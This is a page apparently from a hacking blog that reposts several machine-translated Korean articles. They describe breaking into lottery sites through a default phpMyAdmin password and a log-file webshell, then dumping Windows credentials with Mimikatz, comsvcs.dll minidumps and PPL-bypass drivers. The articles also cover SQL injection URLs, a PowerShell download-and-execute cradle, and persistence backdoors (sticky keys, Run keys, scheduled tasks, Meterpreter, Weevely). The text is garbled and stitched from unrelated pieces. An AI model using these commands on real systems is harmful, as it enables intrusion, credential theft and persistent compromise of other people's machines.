Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86372003

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

phpmyadmin의 약한 암호를 얻으십시오

복권 사이트의 IP는 정보를 통해 XXX이며, 탐지 스캔은 phpmyadmin이 존재 함을 보여줍니다. 추측을 통해 기본 약한 암호 (루트/루트)를 사용하여 phpmyadmin에 로그인하십시오.

图片

图片

phpmyadmin 배경 SQL 쿼리를 통해 로그 파일에 쉘 쓰기

phpmyadmin의 SQL 쿼리 함수를 사용하여 로그 파일에 문장 트로이 목마를 씁니다.

프로세스와 명령은 다음과 같습니다

1. 로그 함수 켜기 : Global general_log=on을 설정하십시오.

2. phpmyadmin 변수를 클릭하여 로그 파일 이름 :을보십시오.

图片

여기의 로그 파일은 test.php입니다.

3. SQL 명령을 실행하고 로그 파일에 문장을 작성하십시오.

图片

4. 성공적인 실행 후 반환.

图片

5. 로그 파일을 봅니다.

图片

6. 주방 나이프를 연결하여 사용자를 추가하고 Mimikatz를 업로드하십시오.

주방 나이프를 사용하여 로그 파일에 연결하여 Trojan, xxx/test.php password :test

图片

시스템 관리자 시스템 권한이 있는지 확인하고 찾으십시오. 사용자를 추가하여 관리 그룹에 추가하십시오.

명령은 : C: \ Windows \ System32 \ net.exe 사용자 테스트 테스트!@#123 /Add입니다

C: \ Windows \ System32 \ net.exe 로컬 그룹 관리자 테스트 /추가

Mimikataz를 서버에 업로드하십시오.

图片

7. 3389 연결 및 관리자 비밀번호를 읽으십시오.

(1) Direct Telnet IP 3389 테스트에 따르면 액세스 할 수있는 것이 발견되었으므로 직접 3389를 연결하여 입력했습니다.

图片

(2) 또는 다음 명령은 여기에 주방 나이프에서 실행되어 포트를 3389까지 쿼리합니다.

1 단계 : 작업 목록 /SVC | Findstr Eartservice 쿼리 원격 데스크탑 서비스 프로세스

2 단계 : NETSTAT -ANO | Findstr **** //원격 데스크탑 서비스 프로세스 번호에 해당하는 포트 번호를 확인하십시오.

(3) Mimikatz를 실행하고 관리자 그룹 로그인 암호를 읽으십시오.

图片

(4) 얻은 관리자/xxxx 계정 암호를 사용하여 서버에 원격으로 로그인하십시오.

图片

서버는 Phpmystudy를 사용하여 배치로 복권 스테이션을 건설하는 것으로 밝혀졌습니다. 약 12 개의 사이트가 있었고, 여러 서버의 웹 사이트 도메인 이름에 액세스 할 수있었습니다. 일부 스크린 샷은 다음과 같습니다

시스템 1 :

图片

시스템 2 :

图片

시스템 :

图片

무대 1 :

图片

무대 뒤 2 :

图片

원래 링크에서 재 인쇄 : https://mp.weixin.qq.com/s?__biz=MZG2NDYWMDA1NA==MID=MID=2247487003IDX=1SN=5C85B34CE6FFB400FDF858737E34DF3DCHK SM=CE67A482F9102D9405E838F34479DC8D1C6B793D3B6D4F40D9B3CEC9CC87F1455D865CB3DDCSCENE=21#WECHAT_REDIGRECT

https://blog.csdn.net/weixin_3997829/article/details/109186917

현재 기계의 일반 텍스트 비밀번호를 받으십시오

도메인 해시를 내보내기 전에 먼저 현재 컴퓨터의 로컬 해시 비밀번호를 내보내려고 노력할 수 있습니다. 도메인 사용자가 이전 에이 컴퓨터에 로그인하는 경우 도메인 사용자 또는 도메인 관리자의 계정을 직접 얻을 수 있습니다.

Windows 운영 체제에서 SAM 데이터베이스 (C: \ Windows \ System32 \ Config \ Sam)는 로컬 사용자의 해시를 저장합니다.

로컬 인증 프로세스에서 로컬 보안 권한 서비스 프로세스 lsass.exe도 메모리 (DMP 파일)의 사용자 비밀번호를 캐시합니다.

따라서 현재 기계의 해시를 크롤링하는 두 가지 방법 인 온라인 도구 추출 및 오프라인 분석 추출을 고려할 수 있습니다.

참고 : Windows 10 \ 2012R2 이후의 시스템 버전에서 시스템 사용자의 일반 텍스트 암호는 기본적으로 메모리 캐시에서 비활성화됩니다. 현재 Mimikatz를 사용하여 일반 텍스트를 잡을 수 있으며, 확실히 그것을 잡을 수 없습니다. 비밀번호 필드 숫자는 NULL로 직접 표시됩니다.

여기서는 일반 텍스트를 저장하기 위해 레지스트리를 수동으로 수정하여 크롤링 할 수 있습니다. (수정 후 로그인하기 전에 사용자에서 로그 아웃해야합니다)

reg 추가 hklm \\ system \\ currentControlset \\ Control \\ securityproviders \\ wdigest /v Uselogoncredential /t reg \ _dword /d 1 /f

Mimikatz

Mimikatz는 Frenchman Benjamin이 개발 한 강력한 경량 디버깅 도구입니다. 개인 테스트를위한 것이지만 강력한 기능으로 인해 Windows XP-2012와 같은 운영 체제의 일반 텍스트 암호를 직접 읽을 수 있으며 침투 테스트로 유명합니다. 그것은 침투에 필요한 도구라고 할 수 있습니다.

다운로드 주소 : https://github.com/gentilkiwi/mimikatz

1. 레지스트리를 통한 크롤링 해시

현재 시스템 레지스트리의 SAM 및 시스템 파일을 얻기 위해 명령 줄을 실행하십시오 (지역 관리자 권한 필요).

reg save hklm \\ system sys.hiv

reg save hklm \\ sam sam.hiv

파일을 얻은 후 파일을 공격자의 기본 컴퓨터로 다운로드하고 Mimikatz를 사용하여 오프라인 해시를 분석하고 추출 할 수 있습니다.

mimikatz.exe 'lsadump:sam /sam:sam.hiv /system:sys.hiv' 'exit'

이 방법은 SAM 파일에 저장된 로컬 사용자의 계정 만 얻을 수 있습니다.

pjno1avgdtk11742.png

2. Mimikatz를 대상 기계에 업로드하고 로컬 SAM 파일에 저장된 계정 해시 값을 추출하십시오.

권한 3:debug

TOKEN3:3360ELEVATE

LSADUMP3:SAM

1kdcsqhowgb11743.png

3. 해시를 lsass.exe의 메모리에서 확장하십시오

Mimikatz 'Privilege:debug' 'Sekurlsa:LogonPasswords Full' 'Exit'

14kwcpfe5zx11744.png

2ukljcxigxx11745.png

로컬 사용자에게 로그인 한 도메인 관리자의 해시 값이 로컬 사용자의 관리자 권한을 사용하여 캡처 한 것으로 나타났습니다.

pwdump7

pwdump7.exe를 직접 실행하십시오

ketxr4mztzy11746.png

wec

대상 기계에 업로드하고 매개 변수를 추가하여 직접 실행하십시오.

-L 로그인 세션 및 NTLM 자격 증명 (기본값)

-S 현재 로그인 세션 매개 변수의 NTLM 자격 증명 수정 : 사용자 이름 : DomainName :LM HASH :NT HASH

-R 정기적으로 로그인 세션 및 NTLM 자격 증명을 나열합니다. 새 세션이 발견되면 5 초마다 다시 되풀이됩니다.

-C 특수 NTML 자격 증명 매개 변수로 새 세션을 실행합니다.

-E 로그인 세션 및 NTLM 자격 증명을 수시로 나열하고 로그인 이벤트가 생성 될 때 한 번 다시 릴리스트

-o 모든 출력을 파일 매개 변수에 저장 : 파일 이름

-현재 로그인 세션 매개 변수 :을 사용하는 대신 루드를 지정합니다.

-D 로그인 세션 매개 변수 :에서 NTLM 자격 증명을 삭제합니다

-주소 매개 변수 : 주소를 사용합니다

-F Force Safe Mode

-G LM 및 NT 매개 변수 암호에 대한 해시를 생성합니다

-K 캐시 Kerberos 파일 (Unix 및 Windows WCE 형식) 티켓

-K 파일에서 Kerberos 티켓을 읽고 Windows 캐시에 삽입하십시오.

-W 다이제스트 인증을 통해 일반 텍스트 비밀번호를 캐시합니다

-V 상세한 출력

3ean1big5k211747.png

라자네

다운로드 주소 : https://github.com/alessandroz/lazagne

Lazagne.exe 모두

jfcj3htjvoh11748.png

SharpDump

https://github.com/ghostpack/sharpdump

직접 컴파일하면됩니다

./sharpdump

pmvh3bi0upq11749.png

lsasssilentprocessexit

https://mp.weixin.qq.com/s/8uer5DNAQS24KUKXU5YI9W

침묵 프로세스 출구, 즉 조용히 종료됩니다. 이 디버깅 기술은 werfault.exe 프로세스를 도출 할 수 있으며,이 프로세스는 프로그램을 실행하거나 모든 프로세스의 메모리 파일 또는 팝업을 재배치하는 데 사용할 수 있습니다.

주로 LSASSSILENTPROCESSEXIT API를 사용합니다. LEGISTION + 원격 프로세스 분사 및 관련 레지스트리 키 값을 수정하여 메모리를 덤프합니다.

#define ifeo \ _reg \ _key '소프트웨어 \\\\\ microsoft \\\\\\ Windows nt \\\\\ currentVersion \\\\\ execution 옵션 \\\\\'

#define silent \ _process \ _exit \ _reg \ _key '소프트웨어 \\\\\\ Microsoft \\\\\ Windows nt \\\\\ currentversion \\\\\ silentProcessexit \\\\\\'

원격 프로세스 주입을 사용하여 lsass.exe가 rtlreportsilentprocessexit 기능 자체를 호출하십시오.

hmodule hntdll=getModule Handle (l 'ntdll.dll');

rtlreportSilentProcessExit \ _func rtlreportSilentProcessExit=(rtlReportSilentProcessExit \ _func) getProcadDress (hntdll, 'rtlreportSilentProcessExit');

hthread=createremotethread (hprocess, null, 0, (lpthread \ _start \ _routine) rtlreportSilentProcessExit, (lpvoid) -1, null, null);

그러나 레지스트리를 수정해야하므로 소프트 킬링 환경을 우회하는 것은 거의 불가능합니다.

lsasssilentprocessexit.exe 616 0

qaaun3huzqw11750.png

민감한 환경에서 LSASS 프로세스를 덤프하는 방법

파일없이 PowerShell을 사용하여 파일없이 내보내십시오

https://blog.csdn.net/chenfeng857/article/details/120126818

https://xz.aliyun.com/t/12157#toc-9

comsvcs.dll, 시스템과 함께 제공됩니다. comsvcs.dll의 내보내기 함수 Minidump를 통해 덤프 메모리를 구현하십시오.

지정된 프로세스 메모리 파일을 덤프 할 때는 SedeBugPrivilege 권한이 필요합니다. 관리자 권한의 CMD에 따라 SedeBugPrivilege 권한은 기본적으로 지원되지만 상태는 비활성화됩니다.

sifcktu5lej11751.png

CMD에서 rundll32 명령을 직접 실행하고 지정된 프로세스 메모리 파일을 덤프하려고하면 sedebugprivilege 권한을 활성화 할 수 없으므로 덤프가 실패합니다.

그러나 관리자 권한이있는 PowerShell에서는 SedeBugPrivilege 권한이 기본적으로 지원되며 상태가 활성화됩니다.

wm4mflfiapa11752.png

먼저 lsass.exe 프로세스 PID를 확인하십시오

작업 목록 | findstr lsass.exe

rundll32.exe comsvcs.dll minidump pid 경로 가득

rundll32.exe comsvcs.dll minidump 1096 c: \\ users \\ 16229 \\ goodtop \\ 1.dmp full

직접 실행하면 소프트를 죽임으로써 가로 채워질 수 있습니다.

그것을 우회하는 간단한 방법 :

Copycomsvcs.dll to In Insensitive Directories 및 무작위로 명명 된 Test.dll

C: \\ Windows \\ System32 \\ comsvcs.dll test.dll을 복사하십시오

rundll32.exe c: \\ users \\ 16229 \\ goodtop \\ code \ _java \\ test.dll minidump 1096 c: \\ users \\ 16229 \\ goodtop \\ code \ _java \\ 3.dmp full

0guv5q35ymg11753.png

로컬로 드래그하고 분석을 위해 Mimikatz를 사용하십시오.

Mimikatz.exe log 'Sekurlsa3333:minidump 2.dmp' 'sekurlsa333:logonpasswords Full'Exit

runasppl이 활성화 된 환경에서

https://www.freebuf.com/articles/system/332506.html

https://xz.aliyun.com/t/12157#toc-19

Mimikatz

PPL 보호 기능을 사용하여 관리자조차도 LSASS 프로세스를 열 수 없습니다.

Mimikatz 'Privilege:debug' 'Sekurlsa:LogonPasswords Full' 'Exit'

d0wkes4rkbv11754.png

Mimikatzprivilege:debug의 명령이 성공적으로 활성화되었습니다. sedebugprivilege이지만 명령 sekurlsa333:0logonpasswords가 실패하고 오류 코드0x00000005가 나타납니다. Minikatz 코드 kuhl_m_sekurlsa_acquirelsa () 함수에서 간단히 이해할 수 있습니다.

hdata=null을 처리합니다.

dword pid;

dword processrights=process_vm_read | Process_Query_Information;

kull_m_process_getprocessidforname (l 'lsass.exe', pid);

hdata=OpenProcess (processrights, false, pid);

if (hdata hdata!=invalid_handle_value) {

//OpenProcess OK 인 경우

}

또 다른 {

print_error_auto (메모리 핸들);

}

프로세스 탐색기를 사용하여 LSASS 프로세스를 열어 볼 수있게되면 액세스가 거부됩니다.

ocqsvxruel211755.png

Mimikatz의 디지털 서명 드라이버를 사용하여 커널의 프로세스 객체에 대한 보호 플래그를 제거하십시오.

5b5tq51sdai11756.png

Minikatz 설치 드라이버

권한 3:debug

!+

1jah0m3o2ts11758.png

보호 삭제

! ProcessProtect /Process:lsass.exe /제거

hivl32vyf4u11759.png

그런 다음 비밀번호를 버릴 수 있습니다

Sekurlsa:LogonPasswords

4njxvib0z0p11760.png

도구를 사용하여 보호가 삭제 된 것을보십시오.

ii3z5li3hmc11761.png

mimikatz.exe 'privilege:debug' '!+' '! ProcessProtect /Process3:lsass.exe /제거' 'Sekurlsa33333:LogonPasswords'exit '

pplkiller

https://www.cnblogs.com/revercc/p/16961961.html

https://redcursor.com.au/bypassing-lsa-protection-aka-protected-process-light-withoutmimikatz-on-windows-10/

우선 순위 차이 : PP는 시그니처 레벨이 더 크거나 동일하다면 전체 액세스 권한으로 PP 또는 PPL을 열 수 있습니다. PPL은 서명 수준이 높거나 같으면 전체 액세스 권한으로 다른 PPL을 열 수 있습니다. 시그니처 레벨에 관계없이 PPL은 전체 액세스 권한이있는 PP를 열 수 없습니다.

PPL이 활성화되면 더 높은 보호 수준에서 실행되는 프로세스 만 보호 된 프로세스에서 작동 할 수 있습니다.

Windows 커널은 _eprocess 구조를 사용하여 커널 메모리의 프로세스를 나타냅니다. 여기에는 유형 (_ps_protected_type) 및 서명자 (_ps_protected_signer) 속성을 통해 프로세스의 보호 수준을 정의하는 _ps_protection 필드가 포함됩니다.

typedef struct _ps_protection {

연합 {

uchar 레벨;

구조 {

UCHAR 유형 : 3;

Uchar Audit : 1; //예약된

Uchar Signer : 4;

};

};

} ps_protection, *pps_protection;

구조물로 표시되지만 모든 정보는 단일 바이트의 두 개의 니블 (leveles a uchar, signed char)에 저장됩니다. 처음 3 자리는 보호 유형을 나타냅니다 (아래 ps_protected_type 참조). 프로세스가 PP 또는 PPL인지 정의합니다. 마지막 4 자리는 서명자 유형 (아래 PS_Protected_Signer 참조), 즉 실제 보호 수준을 나타냅니다.

typedef enum _ps_protected_type {

psprotectedTypenone=0,

psprotectedTyPepRotectedlight=1,

psprotectedTyPeprotected=2

} ps_protected_type, *pps_protected_type;

typedef enum _ps_protected_signer {

psprotectedSignerNone=0, //0

psprotectedSignerauthenticode, //1

psprotectedSignerCodeGen, //2

psprotectedSignerantimalware, //3

psprotectedSignerlsa, //4

psprotectedSignerWindows, //5

psprotectedSignerwintcb, //6

psprotectedSignerWinsystem, //7

psprotectedSignerApp, //8

psprotectedSignerMax //9

} ps_protected_signer, *pps_protected_signer;

LSA 보호를 우회하려면 eprocess 커널 구조를 패치하여 LSASS 프로세스의 PPL 플래그를 비활성화 할 수 있습니다. 이를 위해서는 LSASS eprocess 구조의 주소와 패치 5 값을 찾아야합니다.

EnumDevedIvers 기능은 커널베이스 주소를 누출하는 데 사용될 수 있습니다. 이것은 시스템 프로세스의 eprocess 구조를 가리키는 psinitialsystemprocess를 찾는 데 사용될 수 있습니다. 커널은 링크 된 목록에 프로세스를 저장하므로 Eprocess 구조의 ActiveProcessLinks를 사용하여 링크 된 목록을 반복하고 LSASS를 찾을 수 있습니다.

eprocess 구조를 살펴보면 패치해야 할 5 개의 필드가 일반적으로 4 바이트로 정렬되어 있음을 알 수 있습니다. 이를 통해 다음과 같이 단일 4 바이트 쓰기로 eprocess 구조를 패치 할 수 있습니다.

qtokgx2fzoj11762.png

주소를 찾은 후이 4 바이트의 값을 0으로 패치하십시오.

pplkiller.exe /installdriver

작업 목록 | findstr lsass.exe

pplkiller.exe /disableppl 688

다른 커널 버전을 만나면 프로그램이 4 바이트를 올바르게 패치 할 수 없으므로 동일한 버전의 컴퓨터를 찾아 LSASS 커널 주소를 WINDBG 디버깅을 통해 볼 수 있습니다.

bcdedit/debug onsrv \*https://msdl.microsoft.com/다운로드/기호

1ziy0bvg5oz11763.png

.Reload

! 프로세스 0 0 LSASS.EXE

dt \ _eprocess

l1bxl11fvnz11764.png

ynu0mxmul5t11765.png

arkyccmrsjv11766.png

주소0x6c0을 찾고 스크립트를 수정 한 다음 컴파일하십시오.

tussnijwbfu11767.png

ppldump

https://itm4n.github.io/the-end-of-ppldump/

https://blog.scrt.ch/2021/04/22/bypassing-lsa-protection-in-userland/

PplDump는 C/C ++로 작성된 도구로 사용자 상태 취약성 착취를 구현하여 관리자로서 PPL에 임의 코드를 주입합니다. 이 기술은 Alex Ionescu와 James Forshaw가 보호 프로세스 (PP 및 PPL)에 대한 심층적 인 연구를 수행하는 많은 연구 결과 중 하나입니다.

ppldump의 작동 원리는 다음과 같습니다.

AP에 전화하십시오

이 스테이션은 정말 크다. 아니,이 스테이션은 정말로 둥글다.

图片 한 번의 주입

图片 图片 32 비트 만 읽을 수 있기 때문에 서브 스트링을 사용하여 별도로 읽습니다.

https://aaaaa.com/1.php?id=210%20and%20ExtractValue(1,concat(0x7e,(select

관리자 제한 1,1),0x7e))%20#의 비밀번호

https://aaaaa.com/1.php?id=210%20and%20ExtractValue(1,Concat(0x7e,substring (substring) ((evelect

관리자 제한 1,1), 30,35),0x7e)))%20#

图片 편안한 느낌이 들었습니다. 이제 들어가서 속옷을 공개적으로 선택할 수 있습니다.

0x02 쉘을 가져 와서 robots.txt를 참조하십시오

图片INURL:A.com 관리자

배경에 들어가면 나는 그것이 ECShop이라는 것을 알았습니다. 여기서 파일은 우회 된 이미지로 변경되었습니다.

图片는 재설정 된 것 같습니다

여기서 나는 SQL 문을 실행할 수 있고 절대 경로 누출이 있음을 발견했습니다.

图片 图片OK 방금 문장을 작성하십시오

图片0x03 라이센스 图片 권한은 약간 낮습니다

图片 MySQL을 사용하는 다른 방법은 없습니다.

图片 MySQL 권리를 높이려고 노력하십시오

图片 图片 업로드 할 수없는 디렉토리를 제외하고 다른 모든 조건이 충족되므로 CS, PowerShell Online으로 이동하십시오.

图片 자세한 내용은 Juicy Potato를 사용하십시오. Sanhao 학생들의 기사를 참조하십시오. 원하는 clsid를 선택하십시오. 링크

图片 그러면 우리는 시스템 권한으로 PowerShell을 실행하고 있습니다

Shell Style.exe -p 'powerShell.exe -nop -w hidden -c \'iex ((New -Object net.webclient) .downloadString ( 'powerShell address')) \ ''-c {e60687f7f7-01a1-40AA -86AC -DB1CBF67334} 여기에 두 배가 인용문을 기억하십시오.

图片0x04 수평 침투 图片은 작업 그룹 환경이며 0.9를 스캔하며 웹이기도합니다. 다음은 해시 패스이며 해시를 잡기 위해 직접 전송됩니다. 현재 다음 계정이 있습니다

wiseadmin shopaccount mysql wiseadmin filetransfer demoadmin

WDAGUTINITYACCOUNT

일반 해시 배송-

图片 웹이어야하는 데모, 그리고 0.7은 데이터베이스 서버 일 수 있습니다.

모든 관리자 권한을 사용할 수 있습니다. 시스템을 얻으려면 SelectMyparent를 사용할 수 있습니다. 실제로 새로운 프로세스에서 시스템 프로세스의 아동 프로세스를 설정하는 것은 J입니다. 여기서 우리는 CS 말을 사용합니다. 먼저 Winlogon.exe의 PID를 확인하십시오.

당신은 그것이 500임을 알 수 있습니다

图片 그런 다음 System.Exe를 업로드하고 Shell SelectMyparent.exe System.exe 500을 실행하십시오.

图片이 단계는 실제로 단어 수를 구성하는 것입니다.

0x05 : 여기에서 권한이 유지되며 로컬 테스트를 수행합니다.

끈적 끈적한 키 백도어 끈적 끈

图片 스티커 키는 동시에 두 개 이상의 키를 누르는 데 어려움이있는 사람들을 위해 설계된 컴퓨터에 사용되는 바로 가기 키를 나타냅니다. 끈적 끈적한 본드의 주요 기능은 시프트와 다른 키의 조합을 용이하게하는 것입니다. 스티커 키는 먼저 (예 : Shift)를 누르고 다른 키를 동시에 누르는 대신 다른 키를 누르지 않고 물리적 인 이유로 인해 여러 키를 동시에 누를 수없는 일부 사람들에게 편리합니다. 일반적인 컴퓨터는 시프트를 5 번 누를 때 끈적 끈적한 키 프롬프트가 있습니다.

다음 명령을 사용하십시오

CD Wind 관리자에게 권한을 수정하십시오.

图片 图片 图片 图片 그런 다음 전체 제어로 수정하십시오.

图片 图片 이제 우리는 5 번 연속으로 교대를 누르고 시스템 권한 CMD가 팝업됩니다.

图片 주입 백도어 등록

일반 사용자 권한에 따라 공격자는 레지스트리에 실행 해야하는 백도어 프로그램 또는 스크립트 경로를 작성합니다.

hkey_local_machine \ 소프트웨어 \ Microsoft \ Windows \ currentversion \ run

키 값은 임의로 설정할 수 있거나 다음 명령을 실행하여 시작 항목을 직접 추가 할 수 있습니다.

'hkey_local_machine \ 소프트웨어 \ microsoft \ Windows \ currentVersion \ run' /v

test /t reg_sz /d 'c: \ shell.exe'관리자가 시스템에 다시 로그인하면 백도어 프로그램이 실행됩니다.

图片 계획 작업의 백도

명령 :schtasks /create /tn updater /tr c: \ shell.exe /sc 시간별 /mo 명령 위의 명령은 한 시간에 한 번 shell.exe를 실행하고 Win7 이하와 같은 시스템에서 schtasks 대신 AT 명령을 사용합니다.

미터 프리터 백도어

MeterPreter Run Persistence -U -I 5 -P 1234 -R 192.168.220.128 -A

자동으로 매칭을 시작합니다

Exploit/Multi/Handler 프록시에 연결하려면 -L % temp %를 사용하지 않으면 페이로드의 위치가 대상 호스트에 기록됩니다.

-P 페이로드 사용량, 기본값은 Windows/MeterPreter/Reverse_TCP입니다.

-S는 자동으로 트로이 목마를 서비스로 시작합니다 (시스템 권한 포함)

-T 대체 실행 템플릿을 사용할 수 있습니다

-U 사용자가 로그인하면 트로이 목마가 자동으로 시작됩니다.

-X 시스템 부츠가 부츠를 부팅 할 때 트로이 목마가 자동으로 시작됩니다.

-H이 도움말 메뉴

-각 연결 시도 (초) 사이의 시간 간격

-P 포트 Metasploit를 실행하는 시스템이 듣고 있습니다.

-R 시스템의 IP 연결을 듣고 있습니다.

단점은 바이러스 백신 소프트웨어로 감지하기 쉽고 대상 시스템에 새 VBS 파일을 생성 한 다음 매번 자동으로 시작한다는 것입니다.图片Web Backdoor, Weevely를 사용하여 Shell.php를 생성하여 테스트 할 수 있습니다.

图片 图片 파일을 서버 디렉토리에 넣고 실행하십시오.

Weevely http://192.168.220.1/shell.phpshell은 도움을 볼 수 있습니다

Audit.etcpasswd | /etc /passwd audit.userfiles | 사용자/home audit.mapwebfiles에 따라 권한이있는 파일을 나열합니다 모든 웹 사이트 Shell.php |의 URL 링크를 열거하십시오 php 파일 shell.sh |를 쓰십시오 시스템 스크립트 시스템을 작성하십시오 시스템 정보 찾기 수집 .suidsgid | suid/sgid 파일 및 디렉토리 찾기 찾기 읽기 가능/쓰기/실행 파일 및 디렉토리 Backdoor.tcp | TCP 포트 백도어 백도어 .reversetcp | 리바운드 TCP 연결 BruteForce.sql | BLAST 지정된 데이터베이스 사용자 이름 및 비밀번호 BruteForce.sqlusers | 모든 데이터베이스 사용자 비밀번호 파일을 폭파하십시오. upload | 로컬 파일 파일을 업로드 .upload2web | 바이너리/ASCII 파일을 사이트 폴더를 대상으로 업로드하고 URL 파일을 열거합니다. 로컬 어휘 파일에서 원격 파일을 서면 형식으로 열거합니다. 파일 파일을 읽으십시오 .RM | 파일 파일 삭제 .Check | 원격 파일의 상태 (MD5 값, 크기, 권한 등) 파일. 다운로드 | 원격 바이너리/ASCII 파일을 로컬 sql.console |에 다운로드하십시오 SQL 콘솔 SQL.dump 시작 | 백업 데이터베이스, 즉 제한 NET.SCAN | 포트 스캔 net.phpproxy | 원격 PHP 프록시 네트를 설치하십시오. Ifaces | 원격 호스트 네트워크 인터페이스 정보 net.proxy | Windows 명령을 실행하려면 터널 통신 에이전트를 설치하십시오.

图片 내장 명령을 보급하십시오

图片 图片 원래 링크에서 재 인쇄 : https://mp.weixin.qq.com/s?__biz=mzg2ndywmda1na==mid=mid=22474826idx=2SN=8F11B7CC12F6C5DFBB5eeeeb316f14f460ch KSM=CE67A31BF9102A0D70487584DC3C49141A376CC1B35C0659F3AE72BAA7E77E6DE7E0F916DB5SCENE=21#WECHAT_REDIGRECT

도메인의 로그는 일반적으로 .evtx로 끝나므로 DIR 명령을 사용하려면 도메인의 로그를 검색해야합니다.

dir/s/b *.evtx

/s : 하위 디렉터를 포함한 재귀 검색을 의미합니다.

/b : 결과가 간결한 모드로 표시되며 다른 정보없이 파일 경로 만 표시됩니다.

여기서 우리는 로그 패러 도구를 직접 사용하여 도메인의 로그 정보를 내보낼 수 있습니다. (도메인 제어 호스트에서)

LogparSer 도구는 필터링을 위해 SQL 쿼리 메소드를 사용합니다.

다음 지침을 사용하여 문자열 열 및 EventId 열을 통해 도메인에서 사용자의 로그인 동작을 필터링하십시오.

logparser.exe -i:evt -o:csv 'select recordnumber, timewritten, eventid, strings, c: \ log5.csv incertid='4624 '및 문자열'%| kerberos |%|%.%.%'및 strings'%|%|%|%|%'' ''

-i: 입력 파일 유형 -O: 출력 파일 유형

정상 도메인 침투 중에 도메인 제어를 직접 가져 와서 도메인 제어 호스트에서 작동하여 로그를 내보내십시오. 일반적으로 분석을 위해 도메인 제어 로그 또는 지정된 멤버 호스트의 로그를 내보내는 것은 비현실적입니다. 1. VPN 방법; 2. 양말 터널을 건설하십시오. 3. 원격 트로이 목마 방법을 구축하십시오.

query logs vpn

일반적으로 대상 호스트를 VPN을 통해 연결하고 작동을 위해 인트라넷 환경에 들어갑니다.

여기서 도메인 관리 계정이 얻어졌으며 도메인 관리 자격 증명을 통해 내보내기 로그 분석이 수행된다고 가정합니다.

1. 호스트의 로그인 레코드를 쿼리하십시오

먼저 도메인 제어의 로그 저장 위치 획득

dir /s /b \\ 10.10.10.10 \ c $ \ security.evtx

도메인 제어 로그 파일은 사본 명령을 통해 로컬로 복사 할 수 있습니다.

복사 \\ 10.10.10.10 \ c $ \ windows \ system32 \ Winevt \ logs \ C: \ Users \ Admins \ Desktop \ log

로그 파일은 숨겨진 파일이므로 로그 파서를 통해 모든 .evtx 파일을 직접 내보낼 수 없습니다 (검색 할 수 없음)

그러나 로그 파서를 사용하여 부분적인 로그를 원격으로 내보낼 수 있습니다.

logparser.exe -i:evt -o:csv 'select * in in c: \ 1.csv \\ remoteserver \ security'

logparser.exe -i:evt -o:csv 'select * in in c: \ 1.csv from \\ 10.10.10.10 \ security'

2. 연결 중에 로그의 흔적을 쿼리하십시오

로그 추적을 쿼리 할 때 먼저이 로그인에 사용 된 인증 방법을 이해해야합니다. Windows는 기본적으로 NTML 인증을 사용하고 Kerberos 인증은 도메인 네트워크에서 사용됩니다. 간단히 말해서 NTLM은 호스트와 호스트 간의 직접적인 대화식 인증이며 Kerberos는 제 3 자 (도메인 제어)에 의해 인증됩니다.

도메인 제어는 도메인 내 호스트 및 도메인 계정에만 자격 증명 만 발행합니다. 따라서 원격 호스트 포지셔닝에 IP를 사용하면 NTLM 인증이 사용되며 포지셔닝에 도메인 이름 또는 기계 이름을 사용하면 Kerberos 인증이 사용됩니다.

순 사용을 사용하여 원격 공유에 연결하는 프로세스도 로그인 프로세스입니다. 따라서 로그인이있는 한 로그에 반영됩니다.

Dir 및 Host를 사용하여 직접 로그인하는 것도 마찬가지입니다.

로그 쿼리 분석에 따르면 호스트는 Kerberos 인증을 사용하여 직접 로그를 발견했습니다. DIR 및 NET 사용을 사용하는 경우 원격 호스트가 IP 인 경우 NTLM 인증입니다. 반대로, 도메인 이름 또는 기계 이름이 포지셔닝에 사용되면 포지셔닝을위한 Kerberos입니다.

멤버 호스트 네트워크 연결 연결 도메인 제어 호스트

NTLM 인증 패킷

순 사용 \\ 10.10.10.10 \ IPC $

지침을 통해이 명령어의 로그인이 NTLM 인증이어야한다는 것을 알 수 있습니다.

여러 테스트 후, 멤버 호스트가 위의 명령문을 사용하여 도메인 제어 호스트에 연결하는 경우 다음 레코드가 도메인 제어 호스트에 남아 있습니다.

첫 번째 패키지는 도메인 컨트롤 호스트에 연결하는 계정을 확인하기위한 자격 증명입니다.

두 번째 패키지는 연결에 권한을 할당하는 것입니다.

세 번째 패키지는 성공적인 로그인이있는 데이터 패키지입니다.

세 번째 패키지에서는 IP 주소, 기계 이름 및 멤버 호스트의 기타 정보를 볼 수 있습니다.

S-1-0-0 |-|-|0x0 | S-1-5-21-3315874494-179465980-3412869843-1115 | Admins | vvvv1 | 0 x889d1b | 3 | ntlmssp | ntlm | web-2003 | {{0000000-0000-0000-00000-0000000000} |-| ntlm V1 | 128 |0x0 |-| 10.10.10.3 | 1280 | %% 1833 |-|-| %% 1843 |0x0 | %% 1842

따라서 세 번째 성공적인 로그인 데이터 패킷을 원격으로 내보내고 필터링 규칙을 수정하여 순 사용을 통해 로그에서 도메인 제어의 호스트 정보를 얻을 수 있습니다.

로그 파서 도구를 사용하여 로그 파일을 내보내십시오.

C: \ Users \ Admins \ Desktop \ logparser.exe -i:evt -o:csv 'select * in c: \ users \ indesc \ log \ 1.csv \ 10.10.10.10 \ strings' ''seense | ntlm |%|%.%.%.%.%.%.%.%.%.%.%.%.%.

문자열 필드를 통해 도메인 컨트롤에 연결된 호스트의 IP 및 호스트 이름을 볼 수 있습니다.

Kerberos 인증 패킷

순 사용 \\ ad-2016 \ IPC $

여러 테스트 후, 위의 명령문을 사용하여 멤버 호스트가 도메인 제어 호스트에 연결되고 Kerberos 인증을 사용하면 도메인 제어 호스트에 다음 레코드가 남게됩니다.

따라서 5 번째 성공적인 로그인 패킷을 원격으로 내보내고 필터링 규칙을 수정하여 순이 사용을 통해 로그에서 도메인 컨트롤의 호스트 정보를 얻기 위해 필터링 규칙을 수정하면됩니다.

S-1-0-0 |-|-|0x0 | S-1-5-21-3315874494-179465980-3412869843-500 | 관리자 | vvvv1.com |0x7c3dbeb9 | 3 | Kerberos | k Erberos || {CE15C23A-E7E3-3FC1-4A75-FDF339BEC822} |-|-|-|0x0 |-| 10.10.10.12 | 50364 | %% 1840 |-|-|-|-| %% 1843 |0x0 | %% 1842

로그 파서 도구를 사용하여 로그 파일을 내보내십시오.

